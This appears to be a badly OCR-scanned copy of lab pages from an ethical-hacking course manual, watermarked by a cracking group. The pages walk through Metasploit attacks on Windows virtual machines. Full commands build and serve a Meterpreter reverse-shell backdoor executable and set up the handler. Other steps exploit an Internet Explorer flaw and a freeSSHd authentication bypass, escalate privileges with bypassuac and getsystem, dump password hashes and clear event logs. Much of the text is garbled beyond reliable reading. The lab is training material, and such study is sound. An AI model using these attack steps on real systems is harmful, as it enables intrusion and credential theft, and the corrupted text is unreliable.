Windows 7 machine that allows yoo to pam emote access to i throngh 2 remote
desktop connection.

'T'.

I. Launnch msfeensele on the Fali Linnx machsne, and open a command
terminal; then type msfesnsele and press Enter.

Hrasw 1
Launch

Metasploit | e i = varcy

Censale

FIGURE 4 I Luswheg Metaspikest Coosole
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lamnched on the Kali Linox pmachine,
the following fignse.

e

FHAEFH EHA S A HH P AT
P O R
UIMER HEMMERH A
BHER HARHEE e
BN HOEIE R
HiIRHERH  MAHAr
e
il
HNT

melasplait.pra

og “Bmt ASDEATLT Lick & Th ®stasploit Fro
nere on hitp: forapldT pr——

4 . i
A past 1

B fojpd 1
hitp: e TLcadErpmmg |

4.2 Mesagahont
its 1 metasplodt database for privilege
earch exploits type search ms11 and pre
mmand will display the available explots in the he
——
“3| Fras Ratssplait Pra tris

= asmrch msll
[1] Dwisbane sot coarmcTed ar cachs nat hedls, seiag eliow semrch

Mamciosora D= Dammr
IE-13-28 MiZrosdl 12 F

200L-Da-12

30-11-2 gosd
LN - - 18 rrarmal
i dn- 1 il
FHIE-10- rearmal

Cude Bamtailan
i ]

" D143 w5 -| marmal 1-338 Mcrow

S r®law
stenlimifibiec tiod  2000-13 arest 6 Microm
Ty
rearmal i 1 e

HRrAgE
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4 Type wse exploitwindews/browserms11_003 ie ess import and
Hrask 2 2

Using Browser
uning wlow mearch

fuacleaurs Cots E wpieen
H10-13-31 ®icresalt 1L F

W M2 =loreseft Wisdo
LLMHR Buffar Lrdarsw -1
wrakren ) aeb ma ]l 009 _slectioamsr ®icromatt Honds

1
rowsar/mell 003 & cam import 311D0-11 ®SL1-081 Macrom
£55. Racursive Deport L i
wheresbrawin ¢ iPaL LD _pmahia]_gohjec ful 4 2011-26-1 v i | ®511-030 1B ssh
r Fras
Li_im_aptl 21218 armal,  mS] Rl
Elumaril
A1l n rmesl BEL1 -0
by Bate Dhe Exmpuiion

mald ME syewl oty wef 108 - ol mEIl-a38

Fuerd Haradling s
1

M10.12-1% Frast ®S11.00%
=] -dE e rma |

Ail-11-am marage  S5L0-000

eaf Privilege Escalavion

eap oL windees /b rowser el 1 008 _in_coa_impart
I

a1 Siarch a=ll
1} Dwisbase rot conmected or cecha . uming slow ssarch

Diicledire Sate
=iy o

bl Eicromeft Worda
LLWHR. D e Usndar ]
rkee’ ekymall 019 slectiowmar Facromatt Heonda

Lu_cas_ispest ®E11.088 Sicres
Tapart Ums dftsr Fres
i_meabriaw]_coob j e vl it il ®=L1.d80 T mah

i ] aption i- BSL1-081 ®orom
oOpinn ELumenT s dTer-Fres
Pl Y _aledz -13- EEI1-333 Eicrom
) Fwnotd Tod Sostution
Batredd_DIE_an el _al Al F H BEL1 030 miies
moord Hardling O Hom
Wik craatetiy + 12:18 L ST

Eicroa
el Ml _0B0_sid joinlast 11-11- Ardlos
s Tmcalation

Sbrpssans fuml]_053_ia e _impars
1= Bt ey Teed uinde

y check the options available 1o th:
Enter.
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et and the

T and

= ghis CETI0NS
foiis optione Ceaplnis windons hirces e dmml]_000_ie_cms_imporsi
Current Sattarg Pecuirsd Demcrip$ion

m Erghlin Javaler atfuscalio=
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wlond pEtione (Wintces/ iy ect raveres_topl

Rutematieslly Lewnih W E
faasbles tha Hat 1a; ourtasy shall
Ewtt techndqus {screptod ssh, thresd, process, =on

wsa Tar the WHC prexy
wma far the WWC preay
Wimeimly e

wpledn Targat:

e set LHOST [attacker machine IF Address] and po

Hrase 2

Setiing LHOST

lab, the IP addsess of the Kali Linnx machine 15 1 ]

ont lab environment.

wiiwly gurmratl
specity don of 551 that af g o=l jaccapted 5L

The LRI L r thix szpleit idefswlt im recdom|

moingect fraveres_top)
Current Swtting Reguarsd
e

Lez tha Matmmplait rtasy

techrigue (acrepfed: ash, thread, pracess o
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Hrask s

Setting LPORT
iy s for b i
wth 1o & tuatom 230 <ectl wke (ewlaul® =3 i 5 garMret
Spwiify the weradon of S5 thRat sheuld be used leccspled LN

e LRI ta ® for this sapledt (defawlt im raecos|

sayload options (Wi ansing et e veres Topi

Finme Lurrent Seiting FReguired Ceacription
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LN i chi i 14. Once you have clicked Enter, Intemnet Explorer displays 2 blank sereen,
stk s hocmrves as shown in following screenshot.

wdneratekty and i
bt va sk schadude e Lroan = e b Roplr
expikit. ¢

[ oy .

b

e LI L T ThA R e

= = g mmm e v o

FIGLRE 412 Winderos T Machine Bxploetad

Erasg 71 15. Swritch to Kali Linux (attacker machine). Yon can see a remote desktop
e window with the Tetim machine opened antomanically in the TightVHG
Remote View in ?
Kali Linux

T DT R Rbmear e e e e

A Wrndirers T Miachimne Eamte new m Rk Lnux smches
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e the Tighﬂl'liﬂ remote windo
that withont any anthentication, we have

wall DO 4 _ews Lepard Micaived raguast fo
SR /B pHa sl

g =S IRINE] gane FEERF. LU R

R T R e R TN P L chRE BT LR o
Ak

e ted - %0
rabling
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Lab

Privplege Ercolation & the demonstration of swisesing @ bug, configerction
amperfiction, or design oversipht in @ working frameeork or programmimg Gbblcin
o increare Iifted accerr to arrets thar are reglarly shielded fromr an qbplication or
et

Lab Scenario
Once armckess pain zocess 1o the mrpet system ther start locking for different ways
to escalate ther pomilese in the system They can explos vnlnembdiry, design flaw o
configneanon oversight in the operatng system or sofrware applicatons on the
tagpet syEtem o pain alevated access to resonsces that are normally protected from
an apphicanon oz nser. The permlese escalation can be vermeal oc lateal.
Lab Objectives
The objective of this lab & to help smdents learn how to escalite privieses on a
miction machine by exploing its Trinsmbilines.
Lab Environment
To perform this lab, 7on need:

* A computer mamng Windows Server 2012

* Windows 7 mnoning as virmal machine

*  EKah Linnx mamng as winmal machne
LU

¥ ) u Ly
Lab Duration

Time: 20 Afmmes
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apacheZeonf, enter the command servemame localhest m 2 new Line,

and save the fils.

E rasm 1 1. Launch Windows 7 virmal machine and log in to its admsniseator

acconnt.
Start pestyresgl
and metaspleit 2 Switch to Kali Linux virtmal machsne and log into it
b Lannch a command Line ternunal.

e the command serviee peastgresql start and press Enter.
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Framework is a
tool for developing
and sxecuting
exploit code
against & remote
target machine
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Type the command msfpaylead windewsimeterpreterireverse tep
LHOST=10.0.0.7 X *= Desktop/Explait.exe m m:feonsole, and press
Enter.
Mote: In this lab, 10.0.0.7 is the IP addsess of Kali Linux. This may vary in
yous lab enmronment

FIGURE 5.4 Coeating Feploieie

B The above command will create a Windews executable file named
on the Kali Linux desktop.

Tue dar 14, 954 AN

FIGATRE 5.5: Crewinl Bxpliat.cxs ble

Ehial Hacking sund Counsenseanses + by EC-Cammell
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(= 3. N m peed to share Expleit.exe with the wictm machine. (In this
Share , we are nang Windows T as the michm machsne).
Exploit.exe file 10. Open a new command lne termingl type the command mibeir
fwarharwwishare and p Enter to create a new ory mamed
share.

FIGLUTRE ety a Dreechony

11. Change the mode for the share folder to 755 by typing the command
chmed -R T55 ivarwwwishare! and press

an af B File

e the ownership of thar folder to wwwe-data, by tping the
mmand chewn -R waw-dataswarw-data  varwenwishare!  and
pressing Enter.

FIGLTRE 5.8 Change the « 1 af the Rilder

Tpe the command Is -1a fvariwww! | grep share and press

Footical] =

& chacd «f
& ¢ hawn ~f
#Alle -la
2 wwwi-data wew-Jata &
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2 ) stact the apache server. Type the command serviee
apache start in Terminal, and press Enter.

var/wwwi'shara
A www-dats www-data varswes share
WA Wais r share

a Feb 4 @1:11 shara

o that the apache we TEL 1% ing., v Expleit.exe file into
the share folder.

16. Type the command ep rectiDesktopExpleit.exe variwwwishare/ in
the terminal and press Enter.

rooat@rool; =

t=§f g@ =
ep'mt.'.msl'd.':iah-' | Btarting wab = y
expleitsi* ~#cp /root/Deskt i L.BxE /var/www/share
feartenansishare! o

ch back to msfesnsele tecmunal to create 2 handler

18. Type use ewpleitmultihandler and pzess Enter, to handle exploas
lannched ontside the famewads

o izsue the followine commands i msfeonsole:

Tv_.'p-z set paylead windewsmeterpreterireverse tep and press
Enter

Trpe set LHOST 10.0.0.7 and pzess Enter.

111t a
) =|zat paylasd windows  matarpratard revarse tep
aindows / matarp rreve tcp
7 =lger LHOST 16.3.3,7

sigrurmnygr the Payleod e Egprlon
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20. To start the handler, type the command expleit -j =z and press Enter.

roobiiroot: =

FIGURE 5 13: Exploit the windows T iachine
[ [E— 21. Now, soatch to Windeows T virtoal machine.

Run the 22, Lannch Firefex, type the URL httpaM0.0.0.7/share/ in the address bar,
Exploit and press enter.

MNote: Here 10.0.0.7 s the IP addresz of Kali Linux, wiuch may vary m
vous lab emmronment.

23. Wou wll be redirected to the apache index webpape. Clck Expleit.exe
hink to download the backdoor file.

r bde ol fbars *

&2

lIndex of /share

Nims Lismedified  Sizs Desormnos

FIGLRE 5.94: Demsshombing e Incldocn File (Egiloes e

24. The Opening Explsit.exe pop-up appears; click Save File.
r_ﬂpenlng Explort exe

You have chosento cperg
) 5= Fuploit.eve
L 1 you didn't which iz Binary Fil (72.1 KB
have apachel from: hitp://10.00.7

installed, nm apt-
get install W ould you like to save this fil=T

paches Ssve File

FIGALRE 5 15 Savweyr the backdoor file
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3. By defanlt, this fils 13 stored in Crillsersi[Usermame]Dewnloads.

. On completion of download, a download notfication appears in the
browser. Click the Open Containing Felder imon

bk ok jaburm +
.F
& & o7

— | Index of /share
i Te interast

with the available
Se55ieh, You ean
sE SEeSSisns
<sessien_id>

T Litmislifsd Si

Lo Wkt ] Share

- o s

FIGLIRE 5 ¥ Savrgy the bakdoos file

27. Dounble-click Expleit.exe. If an Open File - Security Waming appears,
click Run.

et Filk - Saganty Waning ==

Thie rultitad s vl ol Lot vl Ao s e ol Wl i
S

FIGATRE 5 17: Exruuting the Eaplit.exe Fil
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witch back to the Fali Linmz machine. Meterpreter session has been
fully opened, as shown m the following screenshot:

roobiieaot: =

FIGLTRE 515 Meropree: &

Eraseg = Type sessions =i 1 and press Enter (1 in sessions =i 1 command 15 the
id sember of the session). Meterpreter shell is lannched, as shown in
the following screens

Establizh a

FIGLTRE 519 Msegpreier Sesoom Launched
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30. Type getuid and p Enter. This displays the curremt wser TDY, as
shown in the following sereenshot:

-\.I|.|-|.I.

> anplol
wrning an backgrear

svairsa handler

dumps the nser accomnt hashes locared in the SAM file; elearev,
cl the event lops semotely, ] that require
administeative /root povilepes.

33. Let us check this by executing the run hashdump command:

roobgiraet: =

¢l LETng EYEEEY| ATl 2aEed T InddR TETEs] «00aSIhe TO0E
NHETR st dr | BRAGUERTE TAr aTdani_reglets

FIGLEE 5.21: Acoma Demnd
H Lah M p ] Eshical Hacking sml
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. The command fals to dump the hashes from the SAM file located in
Windows 7 and retmmns an error stating that aceess is demed.

. From this, it is evident that Meterpreter server requires admmn privileges
to pecform such actions.

. Mow, we shall try to escalate the prmileges by issning a getsystem
command that attemprs to elevate the nser povilages

7. The convmand sssned 1s:
1. getsystem =t 1: winch nses the Seomce - Mamed Pipe
Impersonation (In Memosy/Admin) Techniqee

rooti@roat =

FICATRE 522 Tryoy gt (Commam)
. The command fails to escalate promlepes and retns an error sEbng
Access is denied.
. From the above result, it is evident that the secnrty confipnmtion of the
TWindows 7 machine iz blockng you from gainmp nnrestricted access to
it
Hrasw & . Now, we shall uy to bypass the mser account control setune that is

Pestorm Privilege blocking yon from gainme nnrestricted access to the machine.
Escalation . You will now:

backgronnd the current meterpreter session,

i
b. nsze the bypassuae explon for windows,

c. et meterpreterreverse tep payload,
d co e the exploit and payload,

e. exploit the machine using the above confignsed payload in attempr
to elevate the privilages.

. Type background and peess Enter. This command backsronnds the
cnrfent meterpreter 585106

FIGLURE 52% Back gronedng the Semaon
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43. Trpe use explsitwindews/localbypassuae and press Enter

gnre the exploit To know what all o

exploltiwindows/locel fhvpasm

currant SQTtting Aeguirad Doscriptlaon

¥ The sesaion toe run thi

WEE Tacknlegues To wsa 11 UAD 1

3. The Medule sptions section appears,

splaying the requirement for the
exploit.

ou wll rve that:

The SESSION opton is required, but the current setting is empty.
Hese, ]

obtained in step 28.

on need to set the enorent meterpreter s that is
The TECHHIGQUE option is requited, but the current setting is

e set SESSION 1 (1 15 the cumrent meterpreter sesar
eronnded in this 1ab) and press Enter.

H Lah M

HaCkRhInO-TeaM !
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o that we have confipnred the explogt, ons next step will be to set 2
oad and confionre it.
e set paylead windewsmetempreterireverse_tep and press
set the meterpreterireverse_tep payload.
confinre this payload To know all the options you
loit, type shew eptions and press Enter.

rect@reet -

‘et arpratEr ravars

1 Faguired JDescrisclon

FIi
51. The Module options section app
fisured explost. Here, you can chser
The Paylead sptiens
erve that:
LHOST option 15 requured, but the eurrent setting i3 empty. Here,
you need to set [P Addsess of the local host 1o, Kal Tinme
EXITFUNC s required but the eurrent setting 15 already set
10 precess, 5o won 15 Opion.
quired but the eurrent setting 13 aleady set 1o

irnore th fatul

(=3

H Lah M Eshical Hacking sml
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54. To set the LHOST option, type set LHOST 10.0.0.7 and Enter.
MNote: In thes lab, 10.000.7 is the IP Add-es attacker machine (1e Kali

ad Type explsit

5 to exploit the TTAC settings in Windows 7

56. As you can see
setting on the
mieterpretss 5855100,
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e the getsystem command wath the £ 1
pomileges.

60. This time, the command has successfnlly escalated nser privil
retns a stating get system, az zhown in the f
screenshot

Hk: Tawzmny grtwymen Comimanid

H Lah M p T3 Eshical Hacking sml
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type getuid and press Enter. The meterpreter sesmon is now
ith SYSTEM privileges (NT AUTHORITYISYSTEM), a: showvm
mn the sczeenshot:

63. For nstance, we shall try to obtain hashes located in the SAM file of
Windows 7

64. Type the command rum hashdump and p
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65. Thus, you have snccessfolly escalated provileges by exploming Windowrs
T machine’s vnlnesabilities.

66. Yon can now execute commands (clearer, which dears the event logs
remotely, ere ) that require administranme /root pomileges.

I = A I
1 ab Anaslhvei
LaD Analysis

Analyze and doonment the sesnlrs melared to this lab exescise. Prowide yonr oprmon
of Fone mrpet’s semiry posmre and exposmre thromph prblic and free informannn

[ Yes

. Plarform Supported

[ Classroom
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Lab

Vulnera

e
il : r.-"lli'

system

el SHd o a free inglementation of an SSH server. It provider strong encrybiton
TN BThENTICTIGT OVET FHESNTE Hehyoriks

. - -
IGOH KEY Lab >Cenano

- Valnalile Opanizations nse fip or 3 smilar sermce to facithate their itra/inter-company

T o bow COMONMUCANONS. [0 COOMIMWNCAtE in 3 SeCTHE  MINNEr, OLEmzatons

# Tet You implement FTP/35H to encrype the data flowing throngh their commnaication
Konguie channels. This mitipates the rsk of nnmthosized interception or misnse of data.

B Wb Execce Despate snch secnaty measnres, hackess, with the help of vanons tools, aré ahle
o explodt cerain minembilites in these encopption algosthms. These hacks can
Ed Wodbock Rerew o np gving either partial or complete control of the computers on the

netorods to the backers.

Yom are the secnaty admunistrator of yomr orpaneaton Yomr job
responsibilines melnds protecting the netoods from Trojans and backdoors,
Trojan attacks, and dam and identity thefrs.

1 ks el s
Labk Upjecuaves

The objectives of the lab mechede:
* Explomng the milnerabibmes i free35Hd and esmblish 3 meterpreter

' Tesls s@ssion
demonstrated in
this lab are _al
availakle in
Dx! CEH- To cacry this ont, on needd
i * freeSSHA located ar DSCEM-ToolsCEHV? Module 05 System

Medule 03 Hacking ireeS5Hd
System Hacking
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Yon can doonmload the lotest vemion of feeSSHd from
hevp: /e freeS5Hd com Fett=dowmload (If yon decide to download the
Iatest verson screenshots omphir differ)

A computer mnning Window Serves

Fali Tinmz mnning on 2 Virmal machme

Windows3.1 maning on a virmal machine (Victim machine)
Aweb browser with Intermet access

Admemistratire prrnleges o man tocls

(! o el s s
ab Duratiol

e S Traismne snd B | Y -
Overview of Trojans and Backdoors

A Tropn 15 3 program. which contzins mabcons code dispnised as harmless code or
data When emecuted, it can take control of the host and camse damage sch as
muning the file allocation table on the hard dewve.

Lab Tasks

In this lab, yoo will explost 2 wlneshiliy fonod i free35Hd Here, yon wall
play the role of 2 wictim who installs free33Hd (and adds a nser and 2 port in
freeS5Hd) on Windows 51, Yon will also be plapng the attacker who nses
bmeeforce technigne: to gain access to the niemame and port ommber and
evenmally take conteol of the host
e oY I. Login to yonr Windews 8.1 virmal machine
= TASK 1 :
Inctall freaSSHd Mamgate to ZNCEHVE Medule 05 System Hacking'free55Hd.
If Windews Seeurity pop-np appeass, enrer the credenmal: of host
machine and chick OK.
. The credenpals afe wsemame: Administrater zaod passwerd:
gwertyd1d3.

Dionble-click freeS5Hd.ene.
Open File - Security Waming pop-np appears, click Run.

If Windows Security pop-up appears agan, enter the credennals of
host machine and click OK.

The credential: are wsemame: Administrater and passwerd:
gwertya123.
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Follow the wizard doven mstallation steps to install free535Hd

Setup - freeSSHd 55HTelnet Server el “

Welcome to the freeSSHd
SSH/ Telnet Server Setup Wizard

This will rsial free55Hd 1.2.6 on your compeger

K = recommerded that vou doss Sl other sppbcsbions befors
ominang

Oick Med to conmtias. or Cancel ta et Sabup

FIGLRE 6.1 Eeei5H mutallaton wizas]

10. If a Products window appears doring mstallation, click Clese.
& Setup - Other WeOnlyDiol Products =35

Try Other WednlyDo.com Products
Feead Bz b b e o piodiucts Hhat cae complemant pour piojecs

wod55HServer ActiveX

Fress3SHD & baseed on wod S5HS e vell This s an Aot
companErl ¥0i can puk 1o I et e of S5H
|era SFTR : vl e o uppait It
pictadag alinrg encspplion 3 ani & licsshion of LEe e Ol
reEcLIe hehaorhs

wodSSH ActiveX

Bt componest that prosides suppart Fon eomemonizatice sidy
temee coraaletype saruices (bl correct b reecoe Tebef and
ercpied ad 2 |z=cureshel] servers. IFyou =
lookirg bor Expect” bebewiol =z on UMK spsbeme] - b is the
prochact Fon po

FIGARE 6.2 FeaS5HY insalbshon: Products waidirs
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11. Click Yes to create Private keys.

Setup

l Prwvate keys should be created, Should | do it now

Yes

FIGLRE 6.3 Crsesy Pavade ke

12, Click Yes to mn freeS5Hd as a system service.

Setup

l Do you want to run FreeiSHd ac 3 systern senice!

FIGILTRE &4 Runming ErecfiH:d 20 1 spitem service

13. After completion, click Finish to ext the wizard.

15 Setup - freeS5Hd 55H/Telnet Server

Completing the freeSSHd
SSH/ Telnet Server Setup Wizard

Setun has frished indaling free 55Hd S5H Telrel Serveron
P Tha application may e launched by sekcting
the instaled icors

Clickt Rinigh b andt Salup

FIGURE &5 FeefiFd stallaton congrlee:]
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14. Right-click the Windews icon ar the lower left comer of the Desktop

_ M vasw 3 and click Search.
Configure
freeSSHd

FICATRE 6. Seiecsing Sesech Frnn the Sabrt e

15. In the Search section, type freeS5SHd in the search field and press
Enter.

FIGLRE 4.T: Seanchiey foe FeeS5H

CEH Lab Manus] Page 430 Ehical Hacking amd Countemseanses Gt © by E-Cemell
Riphts Reeoved. Rorpmosds L:it

HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnOUgh “RaCRRAMO-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Wortlilie (81 [Simut Habidng HaCkRhInO-TeaM !

16. free55Hd 15 mmimized to the notification teay.

17. Crpen the netifieation tray and donble-click free55Hd service icon.

FIGLTRE & & free S5 o srenumnemd b B sedificatam iy

15. free55Hd settings window zppears displaying the Server status by

defanlt.
freeS5Hd settings S

Harel resdriclion s Logging Orins usss Actomaiic upcabes
] 55H funhentication Encnption Tunreing SFTP

Telnet server & nof unning

Chick here o =t i

S0 H perwar ia mot rurning.
Chck bere to st

freeS5Hd werson 1.24 Frovered by @ LR ET RN
oK

Conos

FICILTRE &.7: &bkl aettungs ol by the Server shitus
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19. Click S5H tzh, select the TP address of Windows 8.1 (10.0.0.6) from
Listen address drop-dowmn list and change the pom smmber to 45 in
the Peort field Click Apply. free55Hd service mns on port 22 by defanlt

Mota: The [P addwess of Windows 8.1 vismal axachine may vary in youc lab
environment. The defmlt pott momber may also vary in your lab

ENTIDorHment.

freessHd stiings - o IEN)

Lemre [Ferp— i " — S T
Jerver elus Temirerl 33H ] fufertication | Enorimlen Tipraies, FTF

Liaten addvess: 10006
poe E—]

W rsmbar of
oonnectiong |-

e fmeout. [
B messete] &
ammand shel 'CWincows sydem 3 ond o
W Gaas G5H marser an beal SHe st
B Len naw rorssie prgine
Tty g

RATNITFEDFRAEAR THE R

4 Program Filss (nEdma 5 R

FIGURE 6.1t Cusomizing S5F optsons
20). Click Server status tab

21. Click the kink (Click hare to stagt it ) noder SSH server is not running
to start the 35H secver.

freeSSHd seitings _—y x|

Leeny Heog] oo Ly pineg Ciriire e ALrEG LDdm e
devwmae | Tens | SiH Futhericahir Encpoion - | Tummeing | SFTF

S5H perver i ol nurnng

FIGLURE A11: Samng 55H aeever
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22 The server statms changes, saying that S5H server is running.

Iree55HY sattings

Usarn Hea mrretiaa Laggrg Crilra Lawrm

Auihanticalon Encryoien

Sevw tstur | Tabwl | 35H

Taknai sersar ot rurmrs
Dﬂ£ Cleck: harw b ekt B
‘ﬁ;- |.'~E--=.a—xr: 5 1 *...l

T sl Mo L (anlly ol

= En

Butomaic updein

Turrnirg

1

il

FIGLRE 612 55H server boypn sissishully

23. Select Users wh and click Add....

freeSSHY sartings

Sarver swtus Taireri 49H Audariiculion T

Laars Host meirctiors

Add

Legging Cniins e

aK

TR

Encyption | Tunrmirg

FIGLERE 6.13: Adding a wsey
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24. User preperties window appears. In the Legin fiseld speafy 2 name
(here admin), check Shell and Tunneling options under User can use
section and chick OK

a2 User properties = = “

Liongir. |a:u.'n

Guiboieshon: T qutharbicacion

Damain.

Uaer can el

FIGLTRE 6 1& L jiroperies wadios

25, A nser [adminj has been added i the Legin section as shown in the
following sereenshot:

freabSHd settegs - O “

SEreE N Tebed | 55H Muthesntic od on FFP Tumglng | 5FTF
[ L] Hoat mabvinbiony Ligzineg e et Bt i painbsg

-

FIGATRE 615 Uker sbded s orshully
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FICALIRE & b Tuming off s updboes
o E— 27. Log i to Kali Linux virmal machine namne the credentials
Exploit the Victim Username: root 2nd password: toor.

Machine

BT AARIIES

FIGURE 617 Kb Linsz wrhual mach
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25. Open terminal console by nampating to Accesseries —* Terminal.

MNote: Yoo can either -ﬁ-:]:-:@ (Terminal icon) i the menn bar to lmnch

Applications Flaces £ [ Pri D &, 13:00 &M

FIGURE 1% Lamiching Comsmuid hae il
ommand service postgresql start and pr

FriOmec A, 133 &M

HE Srrtng Merog i seoman
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31. Type the command msfeensele and press Enter to limnch msfeonscle

HHMEE
AR HHES HHHHNA
(B H H H MR R H AR R
[SHH HHHESHH A HRSSHH AR
AT NH RN RS R
EAHHA  AAHHANE  HHEE
FAHHA  BHHAHHE  ARMES
EEMRH  EHHANNE AN
WAMHH  MHHAHAS  HHAES
IEHRHA LLLL
" THHR LLL L]

THRA LLE

metasplelt. pre

FIGURE 621 Laswching mufiresls
32. Type the command search sshd and press Enter.

33. It displays a list of exploits related to ssh

34 You will be nsing expleitwindewsisshifree55Hd_authbypass explos
& ||_|1_

ding pages and Listsners
o Laursh 1

(CEH Lab M AT
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35. Trpe use expleit'windews/sshifree535Hd_authbypass and

=[ 316 paylasds
aeg reh ashi

oLl es

Vo @

iy pass
elcharege

sshd_authbypess

Z5: Tusrmgr the explor
36. Now issne the followine commands from the mefeonsole:

Set lhest 10.0.0.9

a
b, Setrhest 10.0.0.6

c. Setrport 45

d Setusemame admin

root@kali: ~
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37. Trpe expleit and p
in the followang

| = 297 USCImans aonin

Staried revarsa handlar on 13,00, 54441
Tryd s=rnans ' adnin

ylaad, this may tak

Asmalyze and domment the results selated to the lab exercise. Grve pour opimon on
youu tarpet’s sectury posme 2od exposnre throngh pohlic aod fres infommanon

[ Yes

Platform Suppornted
[ Classroom
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Lab

i

Y e o s i
'ost-Exploitation

Meraspibnt Framenork & a tool for develgbing and executing explont code aganist a

&

remgie favget makine.

=TT Lab Sce
- Valnalle: Backdooss are mabeions files that contasn Trojan or other infections
=== applications that can eithes halt the enrrent woreng state of 2 Greet machine or
# Testyou even pain partal/complete control over . Amackers build snch backdooss in
_ Imowiedge amempt to pain remote access to the wictm machines. Ther send these
B web merce backdoors thromgh email, fils-sharing web applicanions, shared netorork deres,
~ among others, and entice the nsers to execnte them Once a nser execntes snch
application, an attacker can atran access to hus her affected machine and
perform actromies snch as Eevlogpng, sensitive data extraction, and so oo, wiach
can inene severe damage to the affected nser.

ld Wadbook review

1 =l
L)

'Tesls The objectve of this lab 13 to help stmdents leam to detect Trojan and backdoor
demensctrated in - artacks.
s Balvme The objectives of this s inchde:
available in !
D=\CEH- *  Creanng a server and tesung the network for attack
Toels\CEHVE ) eI _ _
Module 05 System ®  Attacking a network nung a sample backdoor and monitor system

Hacking actriy
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Lab Environment
To carry this ont, you need:
* A computer mnning Window Server 2012
*  Kalilimnx 5 £3 monmg in Virmal machine
*  Windows 8.1 mnning i virtoal machine (Victim machine)
A web browser with Internet access

Admrsstranve provdeges to mn tools
Lab Duration
Teme: 20 Mnmtes
Overview of the Lab
A Trojan is a program that contans 3 malicions or harmfnd code inside apparenty
harmless programming or dat in sech a way that it can get control and canse
damage, such as muning the file allocaton table on a hard deve.

§ e T L.
Lab Tasks

(e

1. Before beginning thiz lah, create a text file mamed seeret.tut on the
Windews 8.1 virmal machine; write something i i, and save it in the
location Crilsers\AdminDewnloads.

In this lab, the seerettxt file conmams the texr “My eredit card
account number is 123456789."
Dieraticiarts - 3 “i

FEGLRE 7.1 Text Al contameyy sxwed mariher
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; TABK 1

Start postgresgl
and metasploit
SErviees
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Log on to the Kali Linux virtwal machine from Hypes-V Manager

Lannch a command-line termnal
Trpe the command serviee postgresgl start and press Enter.

FIGLTHE T Starting s

Type serviee metaspleit start and pr

Ehial Hacking sund Counsenseanses + by EC-Cammell
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. Type msfpaylead windews/meterpreterireverse_tep
LHOST=10.0.0.13 X > DesktopBackdoor.exe in msfconsole, and press

Enter.
Hete: 10.0.0.13 iz the IP address of Kali Linux, which may vary in yous lab
EOTINONITeNT.

FIGLE iy Back:korc.exg
9. The above command will create 3 Windews executakle file named
’ "Backdsor.exe", and will be saved on the Kali Linux desktop.
L Mstaspliolt
Framework, a tool
for developing and
expouting exphoit

code against a
remote targaet
machne

R/ LABIET

FIGURE 76 Creatrad Backibpor exe S
10. Now you need to share Backdeor.exe with the wictim machine (m this

H rasm 2 =ac ]
lab, Windews 8.1 s the mictim machine)
Share ’

Backdear.exe file 11. To share the file you need to st the apache server Type the

mmand serviee apache2 start in Terminal and press Enter.
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w the apache web server 15 moning, copy Backdeor.exe into the
share folder.
Type ep frestDesktep’ Backdeoer.exe Marfwwwishare! and press
Enter.

™ Te run the

apache weh

seiver use the

fellowing

eammaid: T file

14. Swriteh back to msfeonsole terminal to create 2 handler.

epirest.msididatal
expleits*

heartwrerwiishare! 15. Type wse exploitmultihandler and press Enter, to handle exploars
lannched ontside the famewade

reverss_tcp LHOST=10.8.0.13

tcp LHOST=10.8.6.13

f = 1ma erplodt ol tisFandler

D Baxgplent the nictnn moctmie
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rw, 1ssne the following commands in mefeonsole:
1) Tv_.'p! set paylead windows/meterpreterireverse_tep and pr
Enter
b) Type set LHOST 10.0.0.13 and press Enter.

c] Type show eptiens and pess Enter. This lets you knov
lism

= (st LHIET |
sheare  BptLars

ttfmultishandlard -

ing PRaguirad Dascripticon

FIGLRE 7.1 Setup the severss TUT

17. To start the handler, trpe expleit - -z and presz Enter.

(wingkres mete rpreterdravarse Topl |
Current Setting Asguired Oescription
YES Exit technigue: sah, thraad, procass, no

e Tha listen sddress

yEE Tha 1isten part

(CEH Lab M T i Eshical Hacking sml
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e e——
Bircus 18. Log on to the Windews 8.1 mirmal machme

e 19. Lannch Firefor or any web browrser, and type httpa/10.0.0.13/sharel in
the TTRL field then press Enter.
Execute the

backdeor file MNote: 10.0.0.13 15 the IP address of Kali Linux, which may vary i your
lah environment.

20. Click the Backdesr.exe link to download the backdoos file.
= ] |

%
Index of /share

N Last mioliified  Siee Dicwerigtioe

o8 Parest Dot
E' B Joind 1 F

FIGLURE 7.12: Findfuz wels b wigh Backdeoom.me

21. The Opening Backdoor.exe pop-up appears; cick Save File.
Cpening Backdoor exe w

You have chosen to ogen:

= = | Backdoorexe
] 1f you didn't _ _ :
have apache2 which i5: Binary File (72.1 KE]
installed, nm apt- from: hittp:/ 100013

gt install Would you like ta save this file?
apached

Sawve File Cancel

FIGURE 7.3 Saving; the Backdooerse le
L. By defanlt, this file 15 stored i Cillsers\AdminDewnloads.

3. On comgpletion of download, a download notification appears m the
browrser. Click Open Containing Folder.

el =

Wl o Sdig s

i Lo
=/ Te interact
with the available |I'Iﬂ(.‘,\ "'r ,l':lih““-}
Se55ioh, You eah
USE Sessiens i N Last modified  Sizw Dy
<session_id=

N Backdnorsns  03-Febo2014 0136 K

FIGLRE 71L& Savanyy the Backedacios Ble

CEH Lab Munusl] Fage 496 Eshiral Hacldng aml Counsemseanses Copneggt Oy E-lamell

HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™ """ AatRRAMD-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Matifie §31[Surcs0 Hathing HaCkRhInO-TeaM !

Ifeterpreter
1 eenshor:

FIGRTRE 7.15 Fapliit smsalt of wmsows 8.1 mscbeng
Erasx s 26. Type sessiens - and pees: Enter to wew the actwe
Establish a
Session and
Obtain User
Infermation

yraticn

neterpratar KBS windZ ddninistratoryddnin @ ADMINISTRATOAR

B 1B:49287

id mmmber of th
the fol

1 meterpretar =8651n32  AdninistratarsAdnin 9 ADWINISTRATO
La-aazay [18.8.3.10]

Y o= |gseglons -1 1

I7: ensting the s
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ung this command displays target
mier name, operating system, and so

; 286 .0.8.4

Addaptar #8

30. Type getuid and p

31. Ennmng gemed will display the attacker thar the Meterpreter server 15

rooati@lall; #

Termral Help

wmtarpratar = gatuld

viar e rmame: Adminlstretor\Admin
FIGLRE 7.3k Virw
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List all the Files in
a Directory

% = gatuld

r usermame: Administrator\Admin
pratar = pwd

ershfdmin Downl cads

5 Enter to kst the files m the current remote directory
